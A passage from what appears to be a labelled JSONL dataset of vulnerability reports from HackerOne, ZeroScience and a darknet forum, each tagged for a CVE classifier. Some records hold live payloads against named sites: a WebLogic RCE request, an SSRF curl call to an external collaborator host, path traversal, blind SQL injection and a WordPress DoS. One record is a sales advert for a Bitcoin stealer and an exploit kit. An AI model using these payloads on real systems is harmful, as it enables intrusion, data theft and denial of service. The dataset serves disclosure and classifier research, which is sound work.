https://hackerone.com/cdn-cgi/trace could be used (doesn't send X-Frame-Options).\n\nSo to sum up:\n1. Logged in user visits attackers page in IE (vulnerable to UXSS)\n2. UXSS runs script on framed \"https://hackerone.com/cdn-cgi/trace\" to extract CSRF token on https://hackerone.com/settings/profile/edit (via AJAX)\n3. User is attacked with the extracted CSRF token\n\n**Fix**\nThis could be mitigated by storing the token in JavaScript and adding the token to the form after the page is loaded.", "source": "hackerone", "timestamp": "2015-12-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ddc23560dd1327cb9168", "text": "[Information Disclosure] CVE-2020-8284: trusting FTP PASV responses\n\n## Summary:\nThe issue here arises from the fact that curl by default has the option CURLOPT_FTP_SKIP_PASV_IP disabled by default.\nAs a result, an attacker controlling the URL used by curl, can perform port scanning on behalf of the server where curl is running.\nThis can be achieved by setting up a custom FTP server that would setup the data channel through the PASV command using the port scanning target IP and port in the PASV connection info. \nOne good target for this issue are web applications vulnerable to SSRF.\n\n\n\n## Steps To Reproduce:\nSo we can differentiate between open, closed and filtered ports with the following:\n1. Open ports\ncurl will reply with TYPE after the PASV command\nexample:\nReceived: USER anonymous in 5\nReceived: PASS ftp@example.com in 5\nReceived: PWD in 5ms\nReceived: EPSV in 6ms\nReceived: PASV in 6ms\n**Received: TYPE I in 6ms**\nReceived: SIZE whatever in 5ms\nReceived: RETR whatever in 5ms\n\n2. Filtered\ncurl will timeout after the PASV command\nexample:\nReceived: USER anonymous in 6\nReceived: PASS ftp@example.com in 5\nReceived: PWD in 5ms\nReceived: EPSV in 6ms\nReceived: PASV in 5ms\nReceived: in **1011ms**\n\n3. Closed\ncurl will close the control channel connection immediately after PASV\nexample:\nReceived: USER anonymous in 6ms\nReceived: PASS ftp@example.com in 6ms\nReceived: PWD in 5ms\nReceived: EPSV in 5ms\nReceived: PASV in 5ms\nReceived: in **5ms**\n\nIn the attachments, I have included an ftp server (F1088885) that automates these steps.\nUsage:\n./ssrf_pasvaggresvftp.sh -t 127.0.0.1/31 -p 80,8000-8100 -x ./ftp_curl.sh -vv\n\nthe file included in the -x option is supposed to trigger the ssrf on the target server that would lead to the call of curl with the attacker's URL. In this case we simulate the issue by calling curl locally. The attachment F1088859 is the script used in the example.\n\n## Impact\n\nThrough the port scanning, an attacker could uncover services running in the internal network.\nIt could also be possible to perform version enumeration or other information disclosure if the attacker can get back the results of curl.\nFor example, an attacker points curl at host:22 for the data channel . If an ssh server is running on that host, then it will reply with its version which is then disclosed to the attacker.\n\nUltimately, this issue can be used as a stepping stone to launch further attacks on the vulnerable server.", "source": "hackerone", "timestamp": "2021-02-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d2b51deb920ccfa7e972", "text": "[Improper Null Termination] DirectoryIterator class silently truncates after a null byte\n\nThe bug submitted at: https://bugs.php.net/bug.php?id=78863\nThe security advisory at: https://nvd.nist.gov/vuln/detail/CVE-2019-11045\n\nThere's an issue with SPL PHP extension on spl_filesystem_object_construct() function. When creating a new DirectoryIterator() object spl_filesystem_object_construct() function is called and use zend to parse its arguments with the wrong parameter type specifier, this bug leads the zend_parse_parameters() to interprete the parameter as a simple string instead of a filesystem path. An attacker may leverage this by crafting a path name containing NULL bytes which will be badly parsed, allowing the attacker eventually by pass any path-based security validation or listing documents from a unexpected directory.\n\nThis flaw has a high Confidentiality impact as the actor may eventually seen the filesystem tree from the attacked machine but a high complexity as the attacker may need to have previous knowledge of filesystem organization or trick the user to run the malicious script.\n\n## Impact\n\nIn PHP versions 7.2.x below 7.2.26, 7.3.x below 7.3.13 and 7.4.0, PHP DirectoryIterator class accepts filenames with embedded \\0 byte and treats them as terminating at that byte. This could lead to security vulnerabilities, e.g. in applications checking paths that the code is allowed to access.", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3d1b30c946ce542b902a", "text": "[Cryptographic Issues - Generic] Link obfuscation bug\n\n## Summary:\nLink preview in the left bottom of Brave Browser will show the link where the user will be redirected after clicking it, but after clicking the link, the affected user will be redirected to other website.\n\n## Products affected: \nLatest Version of Brave browser\n\n## Steps To Reproduce:\n1. Open poc.html\n2. Hover your mouse to a hyperlink named https://brave.com\n3. You will see in the link preview in the bottom of the browser that the user should be redirected.\n4. Click the hyperlink and you will be redirected to another domain.\n\n## Supporting Material/References:\n\n * List any additional material (e.g. screenshots, logs, etc.)\n\n## Impact\n\nThe attacker can trick a user to go to an evil domain.", "source": "hackerone", "timestamp": "2019-08-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f5d05219d67c0697e08c", "text": "FLIR Systems FLIR Thermal Camera FC-S/PT Authenticated OS Command Injection\n\nSeverity: high", "source": "zeroscience", "timestamp": "2017-09-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "159f726bef2a0ce68687", "text": "[Information Disclosure] Information disclosure of website\n\n> NOTE! Thanks for submitting a report! Please fill all sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty.\n\n## Summary:\nMalicious application can see what the user is browsing\n[add summary of the vulnerability]\n\n## Products affected: \nBRave browser for android\n * operating system, Brave version or Brave website page, etc.\nAndroid Version Os : 4.4, App version:1.9.56\n## Steps To Reproduce:\n1)Open adb shell\n2)ps | grep \"app process id\"\n3)logcat *:D | grep \"process id of app\"\n\nYOu will see all the url that the user is browsing \n\n * List the steps needed to reproduce the vulnerability\n\n## Supporting Material/References:\n\n * List any additional material (e.g. screenshots, logs, etc.)\nhttp://www.androidsecurity.guru/category/logging/", "source": "hackerone", "timestamp": "2016-11-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2e0f75cb85a99e441847", "text": "[Path Traversal] Path Traversal CVE-2021-26086 CVE-2021-26085\n\nThese vulnerabilities were found with https://trickest.com https://trickest.io\n\nCVE-2021-26085:\n=====================\n>https://jira.mariadb.org:/s/123cfx/_/;/WEB-INF/web.xml\n\nCVE-2021-26086:\n=====================\n>https://jira.mariadb.org/s/cfx/_/;/WEB-INF/web.xml\n\nVideo explanation:\n---------------------\n\n### Node EOF-RAW-DATA:\n- Found Jira hosts from various bug bounty programs convert to file\n\n### Node SED-ADD-AT-BEGINNING:\n- Append https:// to every line\n\n### Node PASTE-JIRA-PATHS\n- Converts Jira paths to file\n\n### Node MEG(tool)\n- Requesting URLs and paths from the file\n\n### Node IS-IT-JIRA?\n- Checking if the requested URL is Jira\n\n### Node TAKE-JIRA-URLs\n- Parsing previous nodes to get raw URLs\n\n### Node CVE-2021-26086\n- Converts payloads to a file\n\n### Node CVE-2021-26085\n- Converts payloads to a file\n\n### Node RECURSIVELY-CAT-ALL\n- Converts payloads file into one\n\n### Node MEG (2)\n- Requesting URLs and paths from the file\n\n### Node VALIDATE CVE-2021-26086\n- Validates CVEs by searching for \"\" in meg responses\n\n## Impact\n\nCVE-2021-26086 allows remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint\nCVE-2021-26085 allows remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint.", "source": "hackerone", "timestamp": "2021-11-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6eab063c9df3726d844d", "text": "Mini FTP Server 1.1 Buffer Corruption Remote Denial Of Service Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-08-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a2668ce8c619222dafec", "text": "Elecard MPEG Player 5.7 Local Buffer Overflow PoC (SEH)\n\nSeverity: high", "source": "zeroscience", "timestamp": "2011-02-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ddf34d4035556b06c093", "text": "CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2011-01-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c9d55cf1f2474c573142", "text": "[Open Redirect] Open redirect - user interaction needed (verkkopalvelu.lahitapiola.fi/e2/..) - based on #179328\n\nHello __Team__\n\n>Open redirect in this report \n> is not totally fixed \n\n__Poc__ :-\n1. Open this link\n```\nhttps://verkkopalvelu.lahitapiola.fi///example.com/%2f../e2/kotivakuutus/vakuutuslaskuri/#/\n```\n2. Wait for it to load\n3. Click on sv\nIt loads to _example.com_\n\nI tried it in android, crome\n\nRegards\nSANTHOSH", "source": "hackerone", "timestamp": "2020-07-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ae93cf3c435abe109dc4", "text": "Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-02-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "076c198710366f0b0ee5", "text": "[Insecure Direct Object Reference (IDOR)] Identify unique user ID of all the profiles\n\nThrough this vulnerability, one can know the unencrypted user ID of all the profiles \n\n\nSteps to reproduce:\n1. Login to your Bumble profile\n2. In the SERVER_GET_USER_LIST API replace the folder ID 0 with 7. This folder contains all the profiles in your deck /which you have right-swiped on (screenshot 1); Through this, we may choose to again swipe left on them if desired.\n3. Intercept the response. The unique user ID of the profile is shown in plain text. \n4. Adding additional parameters to the projection field also gives us information like the user vote, etc. \n5. We can even increase the 'count' to get details of more profiles\n\n## Impact\n\nIn case of a match, this information can be used by a male's profile to craft a message and initiate the chat, as the 'is_match' field is true and the 'user_id' field is now available. (Screenshot 2)", "source": "hackerone", "timestamp": "2020-12-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "44d5b596d597ac4f8389", "text": "[Use After Free] Use-after-free in XML::LibXML::Node::replaceChild\n\nHi security team,\nI have reported a bug in Perl https://rt.cpan.org/Public/Bug/Display.html?id=122246 this bug was assigned CVE-2017-10672\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-10672", "source": "hackerone", "timestamp": "2017-09-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4b412c12d3f8db079cd4", "text": "[Cross-Site Request Forgery (CSRF)] csrf\n\nHi,\r\n\r\nAnti CSRF token to prevent CSRF attacks are missing on this link https://sehacure.slack.com/help/requests/new\r\n\r\nA new request can be submitted by an malicious guy to the support team on behalf of the user.\r\n\r\nThe victim will never get to know.\r\n\r\n1) Go to this link\r\n\r\nhttps://sehacure.slack.com/help/requests/new\r\n\r\n2) Open tamper data addon in firefox.\r\nSubmit the data .\r\n\r\n3) Tamper the reuqest there are no tokens in the requests.\r\n\r\nBest regards,\r\nAnand", "source": "hackerone", "timestamp": "2014-04-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0dbfc51fd8549a0223ef", "text": "SimpleRisk v20170416-001 Reflected XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-06-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2aa8fcb8f4e2c697021d", "text": "[Business Logic Errors] CVE-2018-6389 exploitation - using scripts loader\n\n**Issue Description**\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times. \nThe vulnerability is registered as [CVE-2018-6389] #761722 #752010 #753491 #335177 \n\n**CVE ID Risk Score**\n[CVE-2018-6389 7.5](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389)\n\nPlatform(s) Affected: [website]\n*.[https://www.mtn.zm/wp-admin/load-scripts.php?load=](https://www.mtn.zm/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter)\n\n###Steps To Reproduce:\n * Open Vulnerability url - open directory ``/wp-admin/load-scripts.php?load=``\n * Add ``parameter-vulnerable`` in request header\n * In request header using GET-Method\n * Show url opened , and check in network websites has been vulnerable ``stack-red``\n * Response has been truncated\n\n**Payloads Vulnerabilities**\n```\neutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,", "source": "hackerone", "timestamp": "2021-08-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6bd45c7e0cc841677c57", "text": "C++ Developer | New Vender | 2 Products | Free Sample to promote Sales\n\nHey guys I am finally a Vendor! http://k5zq47j6wd3wdvjq.onion/store/257949 Anywho to promote myself I will be giving 1 Free sample to my BTC Stealer and 1 Free Sample to my RIG Exploit kit. ------------------------------------------------------------------------------------------------------------ Universal BTC Stealer: http://k5zq47j6wd3wdvjq.onion/listing/87474 ------------------------------------------------------------------------------------------------------------ Universal BTC Stealer is a BTC stealer which targets 3 of the most popular wallet clients, and employs a general stealing technique. There are two main modes in which the software operates in order to steal BTC: The software detects any BTC addresses copied to the clipboard of the PC, and replaces them with a customer specified address. So whenever a victim copies and pastes a BTC address to pay, it is replaced with yours. The software also scans the system's drives for wallet files of the following 3 wallet clients: Multi-Bit, Electrum, and Bitcoin-QT. After finding wallet files on the system, the software is able to detect whether or not the wallet is encrypted with a password. It then social engineers the victim for their wallet password with the following pop up dialog: http://i.imgur.com/Dl7G3Wq.png This function targets both Multi-Bit and Electrum wallets. Stolen wallet files along with general infection statistics are viewed in the following HTTP panel, which is available in both English and German. http://imgur.com/a/pBaBQ/all Universal BTC Stealer features: - Tested on Windows XP-8, x86 + x64 - Full Unicode support - Stub size of 75kB - Startup through registry - Replaces copied BTC addresses with customer provided address - Wallet stealing + password stealing capabilities for most common wallet clients - Extensive error logging system to pinpoint any issues quickly and effectively Want to buy?: Listing: http://k5zq47j6wd3wdvjq.onion/listing/87474 $100 first customer ( first sale occurred ) $350 after first sale Full support: Coder: 0x43@exploit.im ( online 14+ hours a day ) ------------------------------------------------------------------------------------------------------------ RIG Exploit Kit: http://k5zq47j6wd3wdvjq.onion/listing/87480 ------------------------------------------------------------------------------------------------------------ Are pleased to introduce you to RIG exploits v2.0 -Work On all WinOS 32 / 64bi -Bypass UAC on exploits -Fast cleaning + cleaning on request -Keep Large volumes of traffic, no traffic limits -We provide always clean and trust domains with automatic check on the blacklist -We use CVE-2013-7331 for detect and stop AV or virtual machines. -API with automatic delivery Each account has a 2 stream and can ship 2 different exe Current exploits: ✔ Java: CVE-2012-0507 ✔ Java: CVE-2013-2465 ✔ IE7-8-9: CVE-2013-2551 ✔ IE10: CVE-2013-0322 ✔ Flash: CVE-2014-0497 ✔ Flash: CVE-2015-0311 ✔ Silverlight: CVE-2013-0074 An average rate of 10-20% Cost: 1 day - 50 usd Week - 200 usd month - 700 usd Jabber: 0x43@exploit.im ------------------------------------------------------------------------------------------------------------ How to get free sample: Must have 300+ Post Must have account longer than 3 months Explain which one you want and why you should be picked. ------------------------------------------------------------------------------------------------------------", "source": "evolution", "timestamp": "2015-02-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9dc2b40e13f9155a9462", "text": "[Cryptographic Issues - Generic] Nextcloud.com is vulnerable to SWEET32 attack\n\nResearchers have found new attack against 3DES-CBC cipher in TLS,that they can decrypt customer data using a method called SWEET32 Birthday Attack.\n\nThis Vulnerability has got CVE-2016-2183 and has cvss score 5.0\n\nThis vulnerability can be found manually by simply using nmap script\n\nnmap -Pn -p --script ssl-enum-ciphers ip\n\nMitigation for SWEET32 attack\n\n->Prefer minimum 128-bit cipher suites\n\n->Limit the length of TLS sessions with a 64-bit cipher, which could be done with TLS renegotiation or closing and starting a new connection\n\n-> Disable cipher suites using 3DES\nReference link: https://sweet32.info/", "source": "hackerone", "timestamp": "2017-01-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5592bdaed85856a2522c", "text": "Resin Application Server 4.0.36 Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-06-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b69b2e5b4cdb6a6248c4", "text": "[Code Injection] RCE on █████ via CVE-2017-10271\n\n**Summary:**\nHappy Friday! The server at `██████` is vulnerable to CVE-2017-10271 \"Oracle WebLogic Server Remote Command Execution\".\n\n**Description:**\nThe following request takes 12 seconds (12000 milliseconds) to complete:\n```\nPOST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1\nHost: ██████████\nContent-Length: 423\ncontent-type: text/xml\nAccept-Encoding: gzip, deflate, compress\nAccept: */*\n\n\n \n \n \n \n 12000\n \n \n \n \n \n\n```\nThis proves that I have Java code execution on the remote server. \n\nref: https://techblog.mediaservice.net/2018/07/cve-2017-10271-oracle-weblogic-server-remote-command-execution-sleep-detection-payload/\n\nPublic exploits for this exist: https://github.com/c0mmand3rOpSec/CVE-2017-10271\nI was not able to use that script with a `ping` command, which might have been blocked by preventing outbound connections.\n\n## Suggested Mitigation/Remediation Actions\nPatch & possibly don't allow external access.\n\n## Impact\n\nCritical, RCE.", "source": "hackerone", "timestamp": "2019-07-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "bf652f4dcaccec54eb62", "text": "[Improper Authentication - Generic] No email verification during registration\n\nWhen you register for a new account, there is no verification link sent to the email for confirmation. The account is directly activated and can be used without confirming the email.\n\nThis is vulnerable as anyone can use anyone's email without verification. and one with valid email owner cant signup with his own email as someone else already took it before him.", "source": "hackerone", "timestamp": "2015-09-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "810dbef1ecb116ca9cfb", "text": "Oxwall 1.7.0 Multiple CSRF And HTML Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2014-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d762c911be44fe2816ed", "text": "Teradek VidiU Pro 3.0.3 SSRF Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4fcf1e4dad4549cb096c", "text": "Oxwall 1.7.0 Remote Code Execution Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "981907e9fff15b9d3beb", "text": "[Business Logic Errors] CVE-2021-22922: Wrong content via metalink not discarded\n\n## Summary:\nWhen compiled `--with-libmetalink` and used with `--metalink` curl does check the cryptographics hash of the downloaded files. However, the only indication that the hash was incorrect is a message displayed to the user. The files with incorrect hashes are left to the disk as-is.\n\nSince curl implements the hash validation and reports incorrect hashes there might be an expectation that files with incorrect hashes would not be kept either. Since the metalink can be used with insecure protocols such as http and ftp, the hash validation might be used an actual way to verify the download integrity against tampering.\n\n## Steps To Reproduce:\n\n 1.Configure libcurl `--with-libmetalink` and build libcurl\n 2. Have metalinktest.xml with `` containing incorrect sha-256 hash for it.\n 3. Execute: `curl --metalink https://testsite/metalinktest.xml`\n\nThe following message will be displayed:\n`Metalink: validating (testfile) [sha-256] FAILED (digest mismatch)`\n\nYet, the downloaded file `testfile` with incorrect hash mismatch is kept.\n\n## Fix\nIt might be more sensible to download the file to a temporary name first, verify the hash and only then store the file to final name if the hash is correct. If hash mismatch is found remove the temporary file.\n\n## Impact\n\nModified or tampered files are kept and possibly incorrectly assumed valid", "source": "hackerone", "timestamp": "2021-07-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "121e190a59535a65084b", "text": "[Server-Side Request Forgery (SSRF)] SSRF на https://qiwi.com с помощью \"Prerender HAR Capturer\"\n\nЗдравствуйте!\n\nНа сайте https://qiwi.com вы используете Prerender HAR Capturer 5.6.0 на основе Headless Chrome для рендеринга HTML, снимков экрана, PDF-файлов и файлов HAR с любой веб-страницы (https://github.com/prerender/prerender).\n\nЕсли на qiwi.com послать запрос с измененным юзер-агентом \"User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)\" - якобы от слакбота, этот запрос будет передан на обработку Пререндереру.\nPrerender так-же может выполнять javascript код посланный ему в GET параметре \"javascript=window.prerenderData\". \nЯ обнаружил что с помощью этого параметра можно выполнять запросы как во внутренней сети qiwi, так и к любому другому домену в интернете.\n\nНапример можно получить отстук на бёрп коллаборатор если послать такой запрос: \ncurl -i -s -k -X $'GET' -H 'Host: qiwi.com' -H 'User-Agent: SlackbotLinkExpanding 1.0 (+https://api.slack.com/robots)' 'https://qiwi.com/?javascript=window.prerenderData=window.location.replace%28%22http%3a%2f%2frytiogvgz2oh53enbt9rxuwmpdv4jt.burpcollaborator.net%2f%22%29'\nВ интрасети я послал запросы только к некоторым хостам (10.250.33.17, 10.250.33.1) только что-бы удостовериться что я во внутренней сети.\nДа а адрес 10.250.33.18 я узнал из ответа сервера qiwi.com послав запрос с параметром \"?renderType=har\" - который определяет тип возвращаемого контента.\n\n## Impact\n\nSSRF", "source": "hackerone", "timestamp": "2021-05-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "01a309a573575599a81b", "text": "FaceSentry Access Control System 6.4.8 Cleartext Password Storage\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-06-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6831b2303fd0f5be5275", "text": "ImpressPages CMS v3.6 Multiple XSS/SQLi Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-10-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "27201070a326d20aa835", "text": "[Cross-site Scripting (XSS) - DOM] CVE-2019-19935 - DOM based XSS in the froala editor\n\n## Summary:\n\nA stored XSS flow exist in the froala editor used in the web application.\n\nThis can be trigger by using the code view of the editor\n\n\n## Steps To Reproduce:\n\n\n 1. Start a new campaign\n 2. fill all the fieds and choose blank email template for the message\n 3. Switch to code editor view and inject ``\n{F919075}\n\n 4. Switch back to the normal editor view and the XSS will be trigger\n\n{F919076}\n \nSee attachements.\n\n## Supporting Material/References:\nHeavly inspired by the following article:\n[https://blog.compass-security.com/2020/07/yet-another-froala-0-day-xss/](https://blog.compass-security.com/2020/07/yet-another-froala-0-day-xss/)\n\n# Remediation:\n\nUnfortunately the froala editor did not provide correction for this bug yet but publish an advisory:\n[https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2020-004_DOM_XSS_in_Froala_WYSIWYG_HTML_Editor.txt](https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2020-004_DOM_XSS_in_Froala_WYSIWYG_HTML_Editor.txt)\n\n## Impact\n\nThis issue can lead to cookie stealing, creating fake form by including an iframe, DOM rewriting and so on.", "source": "hackerone", "timestamp": "2020-07-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f42fa5dc66c59f7b4f54", "text": "OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-12-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a0203411ec58dab62d4b", "text": "[Privilege Escalation] Ability to access all user authentication tokens, leads to RCE\n\n# Vulnerability details\nThe project export feature serializes the user objects of team members and stores it in the `project.json` file. This object contains the `authentication_token` for every user, meaning that an attacker can simply go ahead and create a project on GitLab.com, add one of the admins of GitLab.com, create an export, and obtain the authentication token for that user.\n\n# Proof of concept\nFollow these steps to reproduce the issue:\n\n - create a test account on a GitLab instance and create a temporary repository\n - invite an admin of the GitLab instance as a team member to the repository\n - go to the repository settings and create an export\n - wait a few minutes until you received the export email\n - now go to http://gitlab-instance/account/repo/download_export\n - unzip the downloaded file and examine `projects.json` - the `project_members` will contain the user object that contains the `authentication_token`\n\nHere's the first few bytes of `rspeicher` (sorry Robert) his authentication token on GitLab.com: `ZyhqJr4XJZ...`. Someone could get access to GitLab's admin panel by extracting the token of an admin and go to https://gitlab.com/admin/users?authentication_token=. From what I've seen on my own GitLab instance, this leads to RCE and gives me access to all code in private repositories. Let me know if you need more information!", "source": "hackerone", "timestamp": "2016-11-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7becf50c4371785036d4", "text": "BACnet Test Server 1.01 Remote Denial of Service Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2020-10-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ceab465dfb9757e34cd8", "text": "Netautor Professional 5.5.0 (goback) XSS Vulnerability\n\nSeverity: low", "source": "zeroscience", "timestamp": "2010-09-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0011e16059bd2d2675f1", "text": "[SQL Injection] SQL Injection in lapsuudenturva (viestinta.lahitapiola.fi)\n\n## Basic report information\n**Summary:**\n\nHi,\nThe **ctx[vars][email]** parameter in **http://viestinta.lahitapiola.fi/webApp/lapsuudenturva**, can be exploited to perform an SQL Injection Attack.\n\nThe parameter is **ctx[vars][email]**\n\n**Description:**\n\nThe value inside the ctx tag , doesn't properly sanitized to user input, it can be exploited to perform a **Boolean Blind SQL Injection** Attack.\n\nYou can differentiate a response with a **True** SQL Statement and **False** one, by the looking of this string **\"Adform Tracking Code BEGIN\"**.\n\nA **True** SQL Statement will contain the **\"Adform Tracking Code BEGIN\"** strings, while a **False** one will not.\n\n**Domain:** \nviestinta.lahitapiola.fi\n\n## Browsers / Apps Verified In:\n\n All Browsers\n\n## Steps To Reproduce:\n\n 1. For a True response use this payload: **' and substr(version(),1,10) = 'PostgreSQL' and '1**\n\n```\n\nPOST /webApp/lapsuudenturva HTTP/1.1\nHost: viestinta.lahitapiola.fi\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nReferer: http://viestinta.lahitapiola.fi/webApp/lapsuudenturva\nCookie: _ga=GA1.3.2035133005.1481717157; _ga=GA1.2.2035133005.1481717157; vlmref=128248795816721230; _gat=1\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 1215\n\ninterest-lapsen-vakavan-sairauden-vakuutus=1&etunimi=aaaa&sukunimi=zzzz&puhelinnumero=00236556566&sahkoposti=hman%40opmail.com&postinumero=00125&postitoimipaikka=aaaa&ctx=00010aaaazzzz00236556566hman@opmail.com' and substr(version(),1,10) = 'PostgreSQL' and '100125aaaa&userAction=next&transition=\n``` \n 2. For a False response use this payload as example: ' and substr(version(),1,11) = 'PostgreSQL' and '1\n\n```\n\nPOST /webApp/lapsuudenturva HTTP/1.1\nHost: viestinta.lahitapiola.fi\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nReferer: http://viestinta.lahitapiola.fi/webApp/lapsuudenturva\nCookie: _ga=GA1.3.2035133005.1481717157; _ga=GA1.2.2035133005.1481717157; 